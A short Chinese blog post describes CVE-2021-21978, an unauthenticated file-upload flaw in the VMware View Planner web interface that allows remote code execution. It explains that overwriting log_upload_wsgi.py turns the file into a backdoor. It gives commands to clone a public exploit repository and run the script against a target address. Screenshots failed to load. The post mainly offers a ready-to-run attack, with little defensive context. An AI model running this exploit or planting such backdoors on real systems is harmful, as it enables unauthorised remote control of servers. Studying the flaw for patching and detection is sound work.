CVE-2021-21978-带回显的漏洞利用方式

最新推荐文章于 2024-06-09 09:32:23 发布

信安日记

最新推荐文章于 2024-06-09 09:32:23 发布

阅读量732

点赞数

分类专栏：漏洞利用

本文链接：https://blog.csdn.net/u011466862/article/details/114402233

版权

1 篇文章 0 订阅

订阅专栏

CVE-2021-21978漏洞利用

带回显版本的漏洞利用脚本，更简单的方式

VMware View Planner Web管理界面存在一个上传日志功能文件的入口，没有进行认证且写入的日志文件路径用户可控，通过覆盖上传日志功能文件log_upload_wsgi.py，即可实现RCE

pip install requests

git clone https://github.com/skytina/CVE-2021-21978
cd CVE-2021-21978
python3 CVE-2021-21978.py https://192.168.80.3/

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传
在这里插入图片描述

漏洞利用脚本会重写log_upload_wsgi.py，让它成为一个后门

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传
在这里插入图片描述

在这里插入图片描述

关注